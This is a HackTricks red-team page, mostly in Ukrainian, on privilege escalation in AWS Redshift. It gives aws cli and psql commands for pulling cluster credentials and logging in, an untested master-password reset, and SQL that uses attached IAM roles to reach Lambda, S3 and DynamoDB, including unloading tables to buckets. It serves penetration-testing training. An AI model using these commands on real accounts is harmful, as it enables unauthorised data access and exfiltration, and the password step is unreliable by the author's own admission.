AWS - Redshift Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Redshift

Для отримання додаткової інформації про RDS див.:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

З цими дозволами ви можете отримати інформацію про всі кластери (включно з ім'ям та cluster username) та отримати credentials для доступу до нього:

bash
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Потенційний вплив: Знайти конфіденційну інформацію у базах даних.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

З цими дозволами ви можете отримати інформацію про всі кластери та отримати облікові дані для доступу до них.
Зверніть увагу, що користувач postgres матиме дозволи, які має IAM identity, яка була використана для отримання облікових даних.

bash
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Можливий вплив: Знайти конфіденційну інформацію в базах даних.

redshift:DescribeClusters, redshift:ModifyCluster?

Можна змінити master password внутрішнього користувача postgres (redshit) через aws cli (я думаю, це ті дозволи, які потрібні, але я ще не тестував їх):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Potential Impact: Знайти чутливу інформацію всередині баз даних.

Доступ до зовнішніх сервісів

warning

Щоб отримати доступ до всіх наступних ресурсів, вам потрібно буде вказати роль, яку використовувати. Кластер Redshift може мати призначений список AWS ролей, які ви можете використовувати якщо знаєте ARN, або ви можете просто встановити "default", щоб використовувати призначену роль за замовчуванням.

До того ж, як пояснено тут, Redshift також дозволяє вказувати кілька ролей (за умови, що перша може взяти на себе другу) для отримання додаткового доступу, просто розділивши їх комою: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Як пояснюється в https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, можливо викликати lambda function з redshift з чимось на кшталт:

sql
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, можливо читати та записувати в S3 buckets:

sql
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, можна отримати дані з dynamodb:

sql
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

warning

Таблицю Amazon DynamoDB, яка постачає дані, потрібно створити в тому ж AWS Region, що й ваш кластер, якщо ви не використовуєте опцію REGION для вказання AWS Region, в якій розташована таблиця Amazon DynamoDB.

EMR

Дивіться https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks